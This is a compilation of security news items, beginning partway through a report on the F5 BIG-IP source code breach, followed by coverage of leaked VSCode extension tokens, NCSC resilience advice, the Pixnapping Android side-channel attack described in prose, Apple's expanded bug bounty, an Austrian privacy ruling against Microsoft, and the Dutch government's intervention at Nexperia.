It’s unclear how long the hackers maintained access, but the company confirmed that they stole source code, vulnerability data, and some configuration and implementation details for a limited number of customers.
"Through this access, certain files were exfiltrated, some of which contained certain portions of the Company's BIG-IP source code and information about undisclosed vulnerabilities that it was working on in BIG-IP," the company states.
Despite this critical exposure of undisclosed flaws, F5 says there's no evidence that the attackers leveraged the information in actual attacks, such as exploiting the undisclosed flaw against systems. The company also states that it has not seen evidence that the private information has been disclosed.
F5 claims that the threat actors' access to the BIG-IP environment did not compromise its software supply chain or result in any suspicious code modifications.
This includes its platforms that contain customer data, such as its CRM, financial, support case management, or iHealth systems. Furthermore, other products and platforms managed by the company are not compromised, including NGINX, F5 Distributed Cloud Services, or Silverline systems' source code.
Response to the breach
After discovering the intrusion, F5 took remediation action by tightening access to its systems, and improving its overall threat monitoring, detection, and response capabilities:
Rotated credentials and strengthened access controls across our systems.
Deployed improved inventory and patch management automation, as well as additional tooling to better monitor, detect, and respond to threats.
Implemented enhancements to our network security architecture.
Hardened our product development environment, including strengthening security controls and monitoring of all software development platforms.
Additionally, the company also focuses on the security of its products through source code reviews and security assessements with support from NCC Group and IOActive.
NCC Group's assessment covered security reviews of critical software components in BIG-IP and portions of the development pipeline in an effort that involved 76 consultants.
IOActive's expertise was called in after the security breach and the engagement is still in progress. The results so far show no evidence of the threat actor introducing vulnerablities in critical F5 software source code or the software development build pipeline.
Customers should take action
F5 is still reviewing which customers had their configuration or implementation details stolen and will contact them with guidance.
To help customers secure their F5 environments against risks stemming from the breach, the company released updates for BIG-IP, F5OS, BIG-IP Next for Kubernetes, BIG-IQ, and APM clients.
Despite any evidence "of undisclosed critical or remote code execution vulnerabilities," the company urges customers to prioritize installing the new BIG-IP software updates.
F5 confirmed that today's updates address the potential impact stemming from the stolen undisclosed vulnerabilities.
Furthermore, F5 support makes available a threat hunting guide for customers to improve detection and monitoring in their environment.
New best practices for hardening F5 systems now include automated checks to the F5 iHealth Diagnostic Tool, which can now flag security risks, vulnerabilities, prioritize actions, and provide remediation guidance.
Another recommendation is to enable BIG-IP event streaming to SIEM and configure the systems to log to a remote syslog server and monitor for login attempts.
"Our global support team is available to assist. You can open a MyF5 support case or contact F5 support directly for help updating your BIG-IP software, implementing any of these steps, or to address any questions you may have" - F5
The company added that it has validated the safety of BIG-IP releases through multiple independent reviews by leading cybersecurity firms, including CrowdStrike and Mandiant.
On Monday, F5 announced that it rotated the cryptographic certcertificates and keys used for signing its digital products. The change affects installing BIG-IP and BIG-IQ TMOS software images while ISO image signature verification is enabled, and installing BIG-IP F5OS tenant images on host systems running F5OS.
Additional guidance for F5 customers comes from UK's National Cyber Security Centre (NCSC) and the U.S. Cybersecurity and Infrastructure Security Agency (CISA).
Both agencies recommmend identifying all F5 products (hardware, software, and virtualized) and making sure that no management interface is exposed on the public web. If an exposed interface is discovered, companies should make compromise assessment.
F5 notes that it delayed the public disclosure of the incident at the U.S. government's request, presumably to allow enough time to secure critical systems.
"On September 12, 2025, the U.S. Department of Justice determined that a delay in public disclosure was warranted pursuant to Item 1.05(c) of Form 8-K. F5 is now filing this report in a timely manner," explains F5.
F5 states that the incident has no material impact on its operations. All services remain available and are considered safe, based on the latest available evidence.
BleepingComputer has contacted F5 to request more details about the incident, and we will update this post when we receive a response.
Picus Blue Report 2025
| Wiz Blog
Rami McCarthy
October 15, 2025
Wiz Research uncovered 500+ leaked secrets in VSCode and Open VSX extensions, exposing 150K installs to risk. Learn what happened and how it was fixed.
Wiz Research identified a pattern of secret leakage by publishers of VSCode IDE Extensions. This occurred across both the VSCode and Open VSX marketplaces, the latter of which is used by AI-powered VSCode forks like Cursor and Windsurf. Critically, in over a hundred cases this included leakage of access tokens granting the ability to update the extension itself. By default, VS Code will auto-update extensions as new versions become available. A leaked VSCode Marketplace or OpenVSX PAT allows an attacker to directly distribute a malicious extension update across the entire install base. An attacker who discovered this issue would have been able to directly distribute malware to the cumulative 150,000 install base.
Each leaked secret is a result of publisher error. However, after reporting this issue via Microsoft's Security Response Center (MSRC), Wiz has been collaborating with Microsoft on platform level improvements to provide guardrails against future secrets leakage in the VSCode Marketplace. Together, we've also launched a notification campaign to alert impacted publishers and help them address these vulnerabilities.
Discovering a massive secrets leak
In February, attackers started attempting to introduce malware to the VSCode Marketplace. Our initial goal was to identify additional malicious extensions, investigate them, and report them to the Marketplace for removal. While we did end up identifying several interesting malicious extensions, we stumbled on something much more impactful: a scourge of secrets leaking in extension packages.
VSCode extensions are distributed as .vsix files, which can be unzipped and inspected. However, we found that publishers often failed to consider that everything in the package was publicly available, or failed to successfully sanitize their extensions of hardcoded secrets.
In total, we found over 550 validated secrets, distributed across more than 500 extensions from hundreds of distinct publishers. Across the 67 distinct types of secrets we found, there were a few notable categories:
AI provider secrets (OpenAI, Gemini, Anthropic, XAI, DeepSeek, HuggingFace, Perplexity)
High risk profession platform secrets (AWS, Github, Stripe, Auth0, GCP)
Database secrets (MongoDB, Postgres, Supabase)
From themes to threats
The most interesting and globally impactful secrets are the access tokens that grant the ability to update the extension. For the VSCode Marketplace, these are Azure DevOps Personal Access Tokens. The Open VSX Marketplace uses open-vsx.org Access Tokens.
Over one hundred valid leaked VSCode Marketplace PATs were identified within VSCode Marketplace extensions. Together, they represent an install base of over 85,000 extension installs.
Over thirty leaked OVSX Access Tokens were identified, within either VSCode Marketplace or OVSX extensions. Together, they represent an install base of over 100,000 extension installs.
Much of this massive vulnerable install base is actually contributed by themes. This is interesting, because themes are generally viewed as safer than other extensions, given they don’t carry any code. However, they still increase your attack surface, as there is no technical control preventing themes from bundling malware.
An additional interesting lens on these leaked tokens involves the public distribution of company internal or vendor specific extensions. If you investigate the marketplace, you’ll notice extensions that have a low install count, but are specifically designed to support a single company’s engineers or customers. Internal extensions should not be distributed publicly, but often are for convenience. In one case, we found a VSCode Marketplace PAT that would allow us to push targeted malware to the workforce of a $30 billion market cap Chinese megacorp. Vendor specific extensions are common, and allow for interesting targeting opportunities if compromised. For example, one at risk extension belonged to a Russian construction technology company.
Now how did that get there?
Whenever we discover a new dataset of leaked secrets, we attempt to identify patterns that might indicate the root cause(s) and potential mitigations. In this case, the largest contributor to secrets leakage was the bundling of hidden files, also known as dotfiles. The quantity of .env files was especially prominent, although hardcoded credentials in extension source code were also prevalent.
Over the course of the year, we saw an increase in secrets leaking via AI related configuration files, including config.json, mcp.json and .cursorrules. Other common sources included build configuration (e.g package.json) and documentation (e.g README.md).
Hardening and Remediation
Discovering this critical issue was one thing, getting it fixed is another. We’ve spent the past six months working with Microsoft to help resolve this issue centrally, ensuring we can patch this gap and disclose responsibly.
The response to this issue took multiple forms.
Notification: Wiz made targeted notifications of the highest risk disclosed secrets throughout this process. Microsoft has further made several rounds of notification to impacted extension publishers reported by Wiz and asked them to take action. Every leaked Visual Studio Marketplace PAT was revoked. For other secrets, Microsoft communicated with publishers regarding their exposure and provided appropriate guidance.
Prevention:
Microsoft integrated secrets scanning capabilities prior to publishing and now blocks extensions with verified secrets, notifying extension owners when secrets are detected. See their announcement: Upcoming Security Enhancement: Secret Detection for Extensions, and follow up Secret Prevention for Extensions: Now in Blocking Mode.
OpenVSX is adding a prefix (ovsxp_) to their tokens. Microsoft supports OpenVSX tokens within their secret scanning of the VSCode Marketplace.
Mitigation: Having prevented further introduction of secrets, Microsoft scanned all existing extensions, for embedded secrets, and will be working with extension owners to ensure they are remediated by publishing a new, sanitized version of the affected extension.
In June, Microsoft shared their progress and roadmap for VSCode Marketplace security in Security and Trust in Visual Studio Marketplace.
On the publisher side, VSCode extension publishers should scan for secrets prior to publishing.
Guidance for users and administrators
For VSCode users:
Limit the number of installed extensions. Each extension introduces extended threat surface, which should be measured against the benefit of their usage.
Review extension trust criteria. Consider installation prevalence, reviews, extension history, and publisher reputation, among other metadata, prior to adoption.
Consider auto-update tradeoffs. Auto-updating extensions ensures you consume security updates, but introduces the risk of a compromised extension pushing malware to your machine.
For corporate security teams:
Develop an IDE extension inventory, in order to respond to reports of malicious extensions.
Consider a centralized allowlist for VSCode extensions.
Consider sourcing extensions from the VSCode Marketplace, which has higher review rigor and controls currently, over the OpenVSX Marketplace.
Guidance for Platforms on Hardening Secrets
Throughout this process, we observed the diversity in secrets formatting practice, and the downstream impact that can have on security. We want to take this opportunity to highlight the following security practices that platforms can implement in their secrets:
Expiration: defaulting to a reasonable secret lifetime decreases the exploitation window for leaked secrets. In this research, for example, we observed a significant volume of VSCode PATs leaked in 2023 that had expired automatically. In several cases, Open VSX PATs were leaked in the same location, and still valid. This demonstrates the benefit of expiration.
Identifiable structure: GitHub and Microsoft have long been advocates of structuring secrets for easier identification and protection. Identifiable prefixes, checksums, or the full Common Annotated Security Key (CASK) standard all offer an advantage to defenders. Our results will over-represent well-structured secrets, but remaining risks post-disclosure will predominantly be secrets that lack easily detectable structure.
GitHub Advanced Secret Scanning: Platforms should strongly consider enrolling in the Secret Scanning Partner Program. As shown in our past research, GitHub can be home to a large volume of secrets. In this project, we saw that a number of secrets leaked in VSCode extensions were also leaked on GitHub. For secrets supported by Advanced Secret Scanning, that meant publishers had already been notified of the risk automatically.
Takeaways & Timeline
We are relieved to have found, responsibly disclosed, and helped comprehensively resolve this risk.
The issue highlights the continued risks of extensions and plugins, and supply chain security in general. It continues to validate the impression that any package repository carries a high risk of mass secrets leakage. It also reflects our findings that AI secrets are a large part of the modern secrets leakage landscape, and indicates the role vibe coding might play in that problem.
Finally, our work with Microsoft highlights the role that responsible platforms can play in protecting the ecosystem. We are grateful to Microsoft for the partnership and working to protect customers together. Without their willingness to lean in here, it would have been impossible to scale disclosure and remediation.
For more documentation on VSCode Extension security, please visit:
Extension runtime security
Publishing Extensions
Walkthrough: Publish a Visual Studio extension
Timeline
March 30th, 2025: Wiz Research reports this issue to MSRC.
April 4th, 2025: Wiz reports initial batch of 250 leaked secrets.
April 25th, 2025: MSRC completes notification of impacted third-parties who had leaked reported secrets.
May 1st, 2025: MSRC marks the report Ineligible for Bounty, and closes the case as Complete.
May 2nd, 2025: Wiz notes potential negative impact of disclosure without additional controls in place, and requests information on platform level improvements.
May 13th, 2025: MSRC re-opens the case, and starts “working on a plan and a timeline for preventative measures”.
July 10th, 2025: MSRC shares plans for remediation, and requests a late-September disclosure timeline.
June 11th, 2025: Microsoft publishes Security and Trust in Visual Studio Marketplace
Aug 12th, 2025: MSRC and Wiz Research meet, and expand on remediation plans. Wiz identifies and highlights VSCode Marketplace PAT detection gap in secrets scanning. VSCode Marketplace team announces Secret Detection for Extensions.
Aug 27th, 2025: MSRC sets September 25th as the disclosure date.
Sep 18th, 2025: MSRC requests a delay in disclosure due to a performance issue in an implemented hardening measure.
Sep 23rd, 2025: MSRC suggests October 15, 2025 disclosure date.
bbc.com
Joe TidyCyber correspondent, BBC World Service
Prepare to switch to offline systems in the event of a cyber-attack, firms are being advised.
People should plan for potential cyber-attacks by going back to pen and paper, according to the latest advice.
The government has written to chief executives across the country strongly recommending that they should have physical copies of their plans at the ready as a precaution.
A recent spate of hacks has highlighted the chaos that can ensue when hackers take computer systems down.
The warning comes as the National Cyber-Security Centre (NCSC) reported an increase in nationally significant attacks this year.
Criminal hacks on Marks and Spencer, The Co-op and Jaguar Land Rover have led to empty shelves and production lines being halted this year as the companies struggled without their computer systems.
Organisations need to "have a plan for how they would continue to operate without their IT, (and rebuild that IT at pace), were an attack to get through," said Richard Horne, chief executive of the NCSC.
Firms are being urged to look beyond cyber-security controls toward a strategy known as "resilience engineering", which focuses on building systems that can anticipate, absorb, recover, and adapt, in the event of an attack.
Plans should be stored in paper form or offline, the agency suggests, and include information about how teams will communicate without work email and other analogue work arounds.
These types of cyber attack contingency plans are not new but it's notable that the UK's cyber authority is putting the advice prominently in its annual review.
Although the total number of hacks that the NCSC dealt with in the first nine months of this year was, at 429, roughly the same as for a similar period last year, there was an increase in hacks with a bigger impact.
The number of "nationally significant" incidents represented nearly half, or 204, of all incidents. Last year only 89 were in that category.
A nationally significant incident covers cyber-attacks in the three highest categories in the NCSC and UK law enforcement categorisation model:
Category 1: National cyber-emergency.
Category 2: Highly significant incident.
Category 3: Significant incident.
Category 4: Substantial incident.
Category 5: Moderate incident.
Category 6: Localised incident.
Amongst this year's incidents, 4% (18) were in the second highest category "highly significant".
This marks a 50% increase in such incidents, an increase for the third consecutive year.
The NCSC would not give details on which attacks, either public or undisclosed, fall into which category.
But, as a benchmark, it is understood that the wave of attacks on UK retailers in the spring, which affected Marks and Spencer, The Co-op and Harrods, would be classed as a Significant incident.
One of the most serious attacks last year, on a blood testing provider, caused major problems for London hospitals. It resulted in significant clinical disruption and directly contributed to at least one patient death.
The NCSC would not say which category this incident would fall into.
The vast majority of attacks are financially motivated with criminal gangs using ransomware or data extortion to blackmail a victim into sending Bitcoins in ransom.
Whilst most cyber-crime gangs are headquartered in Russian or former Soviet countries, there has been a resurgence in teenage hacking gangs thought to be based in English-speaking countries.
So far this year seven teenagers have been arrested in the UK as part of investigations into major cyber-attacks.
As well as the advice over heightened preparations and collaboration, the government is asking organisations to make better use of the free tools and services offered by the NCSC, for example free cyber-insurance for small businesses that have completed the popular Cyber-Essentials programme.
'Basic protection'
Paul Abbott, whose Northamptonshire transport firm KNP closed after hackers encrypted its operational systems and demanded money in 2023, says it's no longer a case of "if" such incidents will happen, but when.
"We were throwing £120,000 a year at [cyber-security] with insurance and systems and third-party managed systems," Mr Abbott told BBC Radio 5 Live on Tuesday.
He said he now focuses on security, education and contingency - key to which involves planning what is needed to keep a business running in the event of an attack or outage.
"The call for pen and paper might sound old-fashioned, but it's practical," said Graeme Stewart, head of public sector at cyber-security firm Check Point, noting digital systems can be rendered "useless" once targeted by hackers.
"You wouldn't walk onto a building site without a helmet - yet companies still go online without basic protection," he added.
"Cybersecurity needs to be treated with the same seriousness as health and safety: not optional, not an afterthought, but part of everyday working life."
Malicious app required to make “Pixnapping” attack work requires no permissions.
Android devices are vulnerable to a new attack that can covertly steal two-factor authentication codes, location timelines, and other private data in less than 30 seconds.
The new attack, named Pixnapping by the team of academic researchers who devised it, requires a victim to first install a malicious app on an Android phone or tablet. The app, which requires no system permissions, can then effectively read data that any other installed app displays on the screen. Pixnapping has been demonstrated on Google Pixel phones and the Samsung Galaxy S25 phone and likely could be modified to work on other models with additional work. Google released mitigations last month, but the researchers said a modified version of the attack works even when the update is installed.
Like taking a screenshot
Pixnapping attacks begin with the malicious app invoking Android programming interfaces that cause the authenticator or other targeted apps to send sensitive information to the device screen. The malicious app then runs graphical operations on individual pixels of interest to the attacker. Pixnapping then exploits a side channel that allows the malicious app to map the pixels at those coordinates to letters, numbers, or shapes.
“Anything that is visible when the target app is opened can be stolen by the malicious app using Pixnapping,” the researchers wrote on an informational website. “Chat messages, 2FA codes, email messages, etc. are all vulnerable since they are visible. If an app has secret information that is not visible (e.g., it has a secret key that is stored but never shown on the screen), that information cannot be stolen by Pixnapping.”
The new attack class is reminiscent of GPU.zip, a 2023 attack that allowed malicious websites to read the usernames, passwords, and other sensitive visual data displayed by other websites. It worked by exploiting side channels found in GPUs from all major suppliers. The vulnerabilities that GPU.zip exploited have never been fixed. Instead, the attack was blocked in browsers by limiting their ability to open iframes, an HTML element that allows one website (in the case of GPU.zip, a malicious one) to embed the contents of a site from a different domain.
Pixnapping targets the same side channel as GPU.zip, specifically the precise amount of time it takes for a given frame to be rendered on the screen.
“This allows a malicious app to steal sensitive information displayed by other apps or arbitrary websites, pixel by pixel,” Alan Linghao Wang, lead author of the research paper “Pixnapping: Bringing Pixel Stealing out of the Stone Age,” explained in an interview. “Conceptually, it is as if the malicious app was taking a screenshot of screen contents it should not have access to. Our end-to-end attacks simply measure the rendering time per frame of the graphical operations… to determine whether the pixel was white or non-white.”
Pixnapping in three steps
The attack occurs in three main steps. In the first, the malicious app invokes Android APIs that make calls to the app the attacker wants to snoop on. These calls can also be used to effectively scan an infected device for installed apps of interest. The calls can further cause the targeted app to display specific data it has access to, such as a message thread in a messaging app or a 2FA code for a specific site. This call causes the information to be sent to the Android rendering pipeline, the system that takes each app’s pixels so they can be rendered on the screen. The Android-specific calls made include activities, intents, and tasks.
In the second step, Pixnapping performs graphical operations on individual pixels that the targeted app sent to the rendering pipeline. These operations choose the coordinates of target pixels the app wants to steal and begin to check if the color of those coordinates is white or non-white or, more generally, if the color is c or non-c (for an arbitrary color c).
“Suppose, for example, [the attacker] wants to steal a pixel that is part of the screen region where a 2FA character is known to be rendered by Google Authenticator,” Wang said. “This pixel is either white (if nothing was rendered there) or non-white (if part of a 2FA digit was rendered there). Then, conceptually, the attacker wants to cause some graphical operations whose rendering time is long if the target victim pixel is non-white and short if it is white. The malicious app does this by opening some malicious activities (i.e., windows) in front of the victim app that was opened in Step 1.”
The third step measures the amount of time required at each coordinate. By combining the times for each one, the attack can rebuild the images sent to the rendering pipeline one pixel at a time.
As Ars reader hotball put it in the comments below:
Basically the attacker renders something transparent in front of the target app, then using a timing attack exploiting the GPU’s graphical data compression to try finding out the color of the pixels. It’s not something as simple as “give me the pixels of another app showing on the screen right now.” That’s why it takes time and can be too slow to fit within the 30 seconds window of the Google Authenticator app.
In an online interview, paper co-author Ricardo Paccagnella described the attack in more detail:
Step 1: The malicious app invokes a target app to cause some sensitive visual content to be rendered.
Step 2: The malicious app uses Android APIs to “draw over” that visual content and cause a side channel (in our case, GPU.zip) to leak as a function of the color of individual pixels rendered in Step 1 (e.g., activate only if the pixel color is c).
Step 3: The malicious app monitors the side effects of Step 2 to infer, e.g., if the color of those pixels was c or not, one pixel at a time.
Steps 2 and 3 can be implemented differently depending on the side channel that the attacker wants to exploit. In our instantiations on Google and Samsung phones, we exploited the GPU.zip side channel. When using GPU.zip, measuring the rendering time per frame was sufficient to determine if the color of each pixel is c or not. Future instantiations of the attack may use other side channels where controlling memory management and accessing fine-grained timers may be necessary (see Section 3.3 of the paper). Pixnapping would still work then: the attacker would just need to change how Steps 2 and 3 are implemented.
The amount of time required to perform the attack depends on several variables, including how many coordinates need to be measured. In some cases, there’s no hard deadline for obtaining the information the attacker wants to steal. In other cases—such as stealing a 2FA code—every second counts, since each one is valid for only 30 seconds. In the paper, the researchers explained:
To meet the strict 30-second deadline for the attack, we also reduce the number of samples per target pixel to 16 (compared to the 34 or 64 used in earlier attacks) and decrease the idle time between pixel leaks from 1.5 seconds to 70 milliseconds. To ensure that the attacker has the full 30 seconds to leak the 2FA code, our implementation waits for the beginning of a new 30-second global time interval, determined using the system clock.
… We use our end-to-end attack to leak 100 different 2FA codes from Google Authenticator on each of our Google Pixel phones. Our attack correctly recovers the full 6-digit 2FA code in 73%, 53%, 29%, and 53% of the trials on the Pixel 6, 7, 8, and 9, respectively. The average time to recover each 2FA code is 14.3, 25.8, 24.9, and 25.3 seconds for the Pixel 6, Pixel 7, Pixel 8, and Pixel 9, respectively. We are unable to leak 2FA codes within 30 seconds using our implementation on the Samsung Galaxy S25 device due to significant noise. We leave further investigation of how to tune our attack to work on this device to future work.
In an email, a Google representative wrote, “We issued a patch for CVE-2025-48561 in the September Android security bulletin, which partially mitigates this behavior. We are issuing an additional patch for this vulnerability in the December Android security bulletin. We have not seen any evidence of in-the-wild exploitation.”
Pixnapping is useful research in that it demonstrates the limitations of Google’s security and privacy assurances that one installed app can’t access data belonging to another app. The challenges in implementing the attack to steal useful data in real-world scenarios, however, are likely to be significant. In an age when teenagers can steal secrets from Fortune 500 companies simply by asking nicely, the utility of more complicated and limited attacks is probably of less value.
Since we launched the public Apple Security Bounty program in 2020, we’re proud to have awarded over $35 million to more than 800 security researchers, with multiple individual reports earning $500,000 rewards. We’re grateful to everyone who submitted their research and worked closely with us to help protect our users.
Today we’re announcing the next major chapter for Apple Security Bounty, featuring the industry’s highest rewards, expanded research categories, and a flag system for researchers to objectively demonstrate vulnerabilities and obtain accelerated awards.
We’re doubling our top award to $2 million for exploit chains that can achieve similar goals as sophisticated mercenary spyware attacks. This is an unprecedented amount in the industry and the largest payout offered by any bounty program we’re aware of — and our bonus system, providing additional rewards for Lockdown Mode bypasses and vulnerabilities discovered in beta software, can more than double this reward, with a maximum payout in excess of $5 million. We’re also doubling or significantly increasing rewards in many other categories to encourage more intensive research. This includes $100,000 for a complete Gatekeeper bypass, and $1 million for broad unauthorized iCloud access, as no successful exploit has been demonstrated to date in either category.
Our bounty categories are expanding to cover even more attack surfaces. Notably, we're rewarding one-click WebKit sandbox escapes with up to $300,000, and wireless proximity exploits over any radio with up to $1 million.
We’re introducing Target Flags, a new way for researchers to objectively demonstrate exploitability for some of our top bounty categories, including remote code execution and Transparency, Consent, and Control (TCC) bypasses — and to help determine eligibility for a specific award. Researchers who submit reports with Target Flags will qualify for accelerated awards, which are processed immediately after the research is received and verified, even before a fix becomes available.
These updates will go into effect in November 2025. At that time, we will publish the complete list of new and expanded categories, rewards, and bonuses on the Apple Security Research site, along with detailed instructions for taking advantage of Target Flags, updated program guidelines, and much more.
Since we introduced our bounty program, we have continued to build industry-leading security defenses in our products, including Lockdown Mode, an upgraded security architecture in the Safari browser, and most recently, Memory Integrity Enforcement. These advances represent a significant evolution in Apple platform security, helping make iPhone the most secure consumer device in the world — and they also make it much more challenging and time-consuming for researchers to develop working exploits for vulnerabilities on our platforms.
Meanwhile, the only system-level iOS attacks we observe in the wild come from mercenary spyware — extremely sophisticated exploit chains, historically associated with state actors, that cost millions of dollars to develop and are used against a very small number of targeted individuals. While Lockdown Mode and Memory Integrity Enforcement make such attacks drastically more expensive and difficult to develop, we recognize that the most advanced adversaries will continue to evolve their techniques.
As a result, we’re adapting Apple Security Bounty to encourage highly advanced research on our most critical attack surfaces despite the increased difficulty, and to provide insights that support our mission to protect users of over 2.35 billion active Apple devices worldwide. Our updated program offers outsize rewards for findings that help us stay ahead of real-world threats, significantly prioritizing verifiable exploits over theoretical vulnerabilities, and partial and complete exploit chains over individual exploits.
Greater rewards for complete exploit chains
Mercenary spyware attacks typically chain many vulnerabilities together, cross different security boundaries, and incrementally escalate privileges. Apple’s Security Engineering and Architecture (SEAR) team focuses its offensive research on understanding such exploitation paths to drive foundational improvements to the strength of our defenses, and we want Apple Security Bounty to encourage new perspectives and ideas from the security research community. Here is a preview of how we're increasing rewards for five key attack vectors:
Current Maximum New MaximumZero-click chain: Remote attack with no user-interaction $1M $2M
One-click chain: Remote attack with one-click user-interaction $250K $1M
Wireless proximity attack: Attack requiring physical proximity to device $250K $1M
Physical device access: Attack requiring physical access to locked device $250K $500K
App sandbox escape: Attack from app sandbox to SPTM bypass $150K $500K
Top rewards are for exploits that are similar to the most sophisticated, real-world threats, that work on our latest hardware and software, and that use our new Target Flags, which we explain in more detail below. The rewards are determined by the demonstrated outcome, regardless of the specific route through the system. This means that rewards for remote-entry vectors are significantly increasing, and rewards for attack vectors not commonly observed in real-world attacks are decreasing. Individual chain components or multiple components that cannot be linked together will remain eligible for rewards, though these are proportionally smaller to match their relative impact.
Boosting macOS Gatekeeper
Because macOS allows users to install applications from multiple sources, Gatekeeper is our first and most important line of defense against malicious software. Although Gatekeeper has been included in Apple Security Bounty since 2020, we've never received a report demonstrating a complete Gatekeeper bypass with no user interaction. To drive deeper research in this critical area, researchers who report a full Gatekeeper bypass with no user interaction are eligible for a $100,000 award.
Expanded Apple Security Bounty categories
One-click attacks through the web browser remain a critical entry vector for mercenary spyware on all major operating systems, including iOS, Android, and Windows. Our core defense against these threats is deeply robust isolation of WebKit’s WebContent process, and our focused engineering improvements over the past few years — including the GPU Process security architecture and our comprehensive CoreIPC hardening — have eliminated WebContent’s direct access to thousands of external IPC endpoints and removed 100 percent of the IOUserClient attack surface from the WebContent sandbox.
As a result, researchers who demonstrate chaining WebContent code execution with a sandbox escape can receive up to $300,000, and continuing the chain to achieve unsigned code execution with arbitrary entitlements becomes eligible for a $1 million reward. Modern browser renderers are exceptionally complex, which is why rigorous process isolation is so central to our WebKit security strategy. Therefore, WebContent exploits that are not able to break process isolation and escape the sandbox will receive smaller rewards.
We're also expanding our Wireless Proximity category, which includes our latest devices with the Apple-designed C1 and C1X modems and N1 wireless chip. We believe the architectural improvements and enhanced security in these devices make them the most secure in the industry, making proximity-based attacks more challenging to execute than ever. While we've never observed a real-world, zero-click attack executed purely through wireless proximity, we're committed to protecting our users against even the most sophisticated threats. We are therefore expanding our wireless proximity bounty to encompass all radio interfaces in our latest devices, and we are doubling the maximum reward for this category to $1 million.
Introducing Target Flags
In addition to increasing reward amounts and expanding bounty categories, we're making it easier for researchers to objectively demonstrate their findings — and to determine the expected reward for their specific research report. Target Flags, inspired by capture-the-flag competitions, are built into our operating systems and allow us to rapidly review the issue and process a resulting reward, even before we release a fix.
When researchers demonstrate security issues using Target Flags, the specific flag that’s captured objectively demonstrates a given level of capability — for example, register control, arbitrary read/write, or code execution — and directly correlates to the reward amount, making the award determination more transparent than ever. Because Target Flags can be programmatically verified by Apple as part of submitted findings, researchers who submit eligible reports with Target Flags will receive notification of their bounty award immediately upon our validation of the captured flag. Confirmed rewards will be issued in an upcoming payment cycle rather than when a fix becomes available, underscoring the trust we've built with our core researcher community.
Target Flags are supported on all Apple platforms — iOS, iPadOS, macOS, visionOS, watchOS, and tvOS — and cover a number of Apple Security Bounty areas, and coverage will expand over time.
Reward and bonus guidelines
Top rewards in all categories apply only for issues affecting the latest publicly available software and hardware. Our newest devices and operating systems incorporate our most advanced security features, such as Memory Integrity Enforcement in the iPhone 17 lineup, making research against current hardware significantly more valuable for our defensive efforts.
We continue to offer bonus rewards for exceptional research. Reports on issues in current developer or public beta releases qualify for substantial bonuses, as they give us a chance to fix the problem before the software is ever released to our users. And we continue to award significant bonuses for exploit chain components that bypass specific Lockdown Mode protections.
Finally, each year we receive a number of issues outside of Apple Security Bounty categories which we assess to be of low impact to real-world user security, but which we nonetheless address with software fixes out of an abundance of caution. Often times, these issues are some of the first reports we receive from researchers new to our platforms. We want those researchers to have an encouraging experience — so in addition to CVE assignment and researcher credit as before, we will now also reward such reports with a $1,000 award. We have been piloting these awards for some time and are pleased to make them a permanent part of our expanded reward portfolio.
Special initiatives for 2026
In 2022, we made an unprecedented $10 million cybersecurity grant in support of civil society organizations that investigate highly targeted mercenary spyware attacks. Now, we are planning a special initiative featuring iPhone 17 with Memory Integrity Enforcement, which we believe is the most significant upgrade to memory safety in the history of consumer operating systems. To rapidly make this revolutionary, industry-leading defense available to members of civil society who may be targeted by mercenary spyware, we will provide a thousand iPhone 17 devices to civil society organizations who can get them into the hands of at-risk users. This initiative reflects our continued commitment to make our most advanced security protections reach those who need them most.
Additionally, the 2026 Security Research Device Program now includes iPhone 17 devices with our latest security advances, including Memory Integrity Enforcement, and is available to applicants with proven security research track records on any platform. Researchers seeking to accelerate their iOS research can apply for the 2026 program by October 31, 2025. All vulnerabilities discovered using the Security Research Device receive priority consideration for Apple Security Bounty rewards and bonuses.
In closing
We’re updating Apple Security Bounty to encourage researchers to examine the most critical attack surfaces on our platforms and services, and to help drive the highest impact security discoveries. As we continue to raise our research standards, we are also dramatically increasing rewards — our highest award will be $2 million before bonus considerations.
Until the updated awards are published online, we will evaluate all new reports against our previous framework as well as the new one, and we'll award the higher amount. And while we’re especially motivated to receive complex exploit chains and innovative research, we’ll continue to review and reward all reports that significantly impact the security of our users, even if they're not covered by our published categories. We look forward to continuing to work with you to help keep our users safe!
therecord.media Suzanne Smalley
October 10th, 2025
Austria's data protection authority on Wednesday ruled that Microsoft illegally tracked students using its education software by failing to give them access to their data and using cookies without consent.
The decision from Austria’s Datenschutzbehörde (DSB) came in response to a 2024 complaint lodged by the Austrian privacy advocacy group noyb, which accused the tech giant of violating Europe’s General Data Privacy Regulation for its handling of children’s data.
The complainant in the case, the father of a minor whose school uses the software, said he did not consent to the cookies and could not get information about how his child’s data was being used.
Microsoft 365 Education is used by school districts to manage technology, allow collaboration and store data in the cloud. It includes Office applications like Word, Excel, Outlook and PowerPoint as well as security tools and collaboration platforms like Teams.
"The decision highlights the lack of transparency in Microsoft 365 Education," Felix Mikolasch, a data protection lawyer at Noyb, said Friday in a prepared statement. "It is nearly impossible for schools to inform students, parents and teachers about what is happening with their data."
A spokesperson for Microsoft said in a prepared statement that the company will review the decision.
“Microsoft 365 for Education meets all required data protection standards and institutions in the education sector can continue to use it in compliance with GDPR,” the statement said.
The regulator has ordered Microsoft to give the complainant access to their data and to begin to explain more clearly how it uses data it collects.
government.nl
On Tuesday, 30 September 2025, the Dutch Minister of Economic Affairs invoked the Goods Availability Act (Wet beschikbaarheid goederen) due to serious governance shortcomings at semiconductor manufacturer Nexperia. The company’s headquarters are located in Nijmegen, with additional subsidiaries in various countries around the world. The decision aims to prevent a situation in which the goods produced by Nexperia (finished and semi-finished products) would become unavailable in an emergency. The company’s regular production process can continue.
Reason for intervention under the Goods Availability Act
The Act has been invoked following recent and acute signals of serious governance shortcomings and actions within Nexperia. These signals posed a threat to the continuity and safeguarding on Dutch and European soil of crucial technological knowledge and capabilities. Losing these capabilities could pose a risk to Dutch and European economic security. Nexperia produces, among other things, chips used in the European automotive industry and in consumer electronics.
This measure is intended to mitigate that risk. On de basis of the order, company decisions may be blocked or reversed by the minister of Economic Affairs if they are (potentially) harmful to the interests of the company, to its future as a Dutch and European enterprise, and/or to the preservation of this critical value chain for Europe. The company’s regular production process can continue.
Invoking the Goods Availability Act by the Minister is highly exceptional. Only due to the significant scale and urgency of the governance deficiencies at Nexperia has the decision been made to apply the Act. This is a measure the government uses only when absolutely necessary. The application of this Act in this case is solely intended to prevent governance shortcomings at the specific company concerned and is not directed at other companies, the sector, or other countries. Parties may lodge an objection to this decision before the courts.